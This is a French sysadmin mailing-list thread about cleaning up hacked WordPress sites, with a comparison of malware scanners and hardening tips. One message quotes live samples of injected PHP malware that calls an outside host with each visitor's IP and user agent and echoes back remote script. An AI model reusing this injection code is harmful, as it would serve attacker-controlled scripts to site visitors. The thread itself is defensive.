Fait déjà commencer par désactiver certaines fonctionnalités dangereuses dans php (disabled_functions dans php.ini)
Ensuite bloquer les requêtes http sortantes du serveur avec iptables.
Le 3 juin 2015 à 11:23, Pierre pierre@infoserver4u.fr a écrit :
Hello,
Je me permet de relancer la discutions car j'ai presque le même problème avec un client.
Sauf que le code change sur presque tout les fichiers.
Voici un exemple de code :
<?php #568ba2# error_reporting(0); @ini_set('display_errors',0); $wp_f67188 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_f67188) && !preg_match ('/bot/i', $wp_f67188))){^M $wp_f0967188="http://"."theme"."header".".com/"."header"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_f67188);^M if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_67188f = @file_get_contents($wp_f0967188);}^M elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; } #458ba2# ?>
Ou encore
<?php #5a9312# if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_67188f = @file_get_contents($wp_f0967188);}^M elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; } #/5a9312# ?>
J'ai essayé beaucoup de sed et xargs, mais le code est trop complexe pour arrive a faire un truc propre.
find . -type f -name "*.php" -print | xargs sed -i.hacked 's/^<?php n#*# *?>//g'
Le seul point commun est un début <?php saute de ligne puis un # et en fin un autre # saute de ligne ?>
J’essaie d'utiliser https://github.com/planet-work/php-malware-scanner
Mais cela ne semble mal fonctionner avec mon problème.
Auriez vous une idée ?
Merci
Pierre
Le 20/05/2015 16:09, Julien Escario a écrit :
Le 20/05/2015 07:14, Jonathan Leroy a écrit :
J'ai eu une demande de "nettoyage" de sites WordPress ayant été hackés hier.
J'en ai donc profité pour tester tous vos outils sur un des sites.
Le grand gagnant est php-malware-scanner de Frédéric, qui détecte deux fichiers de plus que Sucuri (mais en laisse passer un autre). J'ai mis un tableau comparatif en PJ pour ceux que ça intéresse :)
Nice job !
Merci du retour. Julien
Liste de diffusion du FRsAG http://www.frsag.org/
Liste de diffusion du FRsAG http://www.frsag.org/